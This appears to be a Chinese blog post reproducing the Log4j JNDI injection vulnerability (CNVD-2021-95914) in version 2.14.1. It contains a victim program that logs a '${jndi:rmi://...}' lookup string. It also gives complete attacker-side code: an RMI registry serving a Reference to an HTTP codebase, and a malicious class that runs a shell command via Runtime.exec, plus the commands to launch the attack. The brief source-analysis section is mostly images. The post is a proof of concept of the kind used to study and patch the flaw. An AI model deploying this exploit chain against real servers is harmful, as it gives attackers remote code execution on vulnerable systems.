log4j-CNVD-2021-95914-BUG

log4j-CNVD-2021-95914-BUG

1. 缺陷复现

  • 缺陷方演示
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j_CNVD_2021_95914 {
	private static final Logger log = LogManager.getLogger(log4j_CNVD_2021_95914.class);
	public static void main(String[] args) {
		// java 1.8 修改需修改后台配置才可复现
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

		log.error("xxxxxxx${jndi:rmi://127.0.0.1:1099/evil}");
	}
//	JndiManager.lookup() 最终执行到此
}
  • 攻击端代码示例
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 攻击端执行
// javac HZWJavaRMI.java
// java HZWJavaRMI
// python -m http.server 8001
public class HZWJavaRMI {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//        LocateRegistry.createRegistry(1099);
        LocateRegistry.createRegistry(1099);
        Registry reg = LocateRegistry.getRegistry();

        Reference ref = new Reference(
                "EvilObj","EvilObj",
                "http://127.0.0.1:8001/");  // 指定rmi调用方从指定位置加载目标类
        ReferenceWrapper refW = new ReferenceWrapper(ref);
        reg.bind("evil",refW);
    }
}

class EvilObj {
    static{
        System.out.println("hello evil");
        String [] cmd={"/bin/sh","-c","kcalc"};
//        String [] cmd={"/bin/sh","-c","calc.exe"};
        try {
            Process proc =Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
请添加图片描述
在这里插入图片描述

2. 关键源码分析(2.14.1版本)

完整的漏洞跟踪堆栈

在这里插入图片描述

关键代码段

在这里插入图片描述

此处的参数可以阻止Lookup的调用,可惜默认值为false

最终产生漏洞的位置:

在这里插入图片描述

其java原生原理如下

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hzw@sirius

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值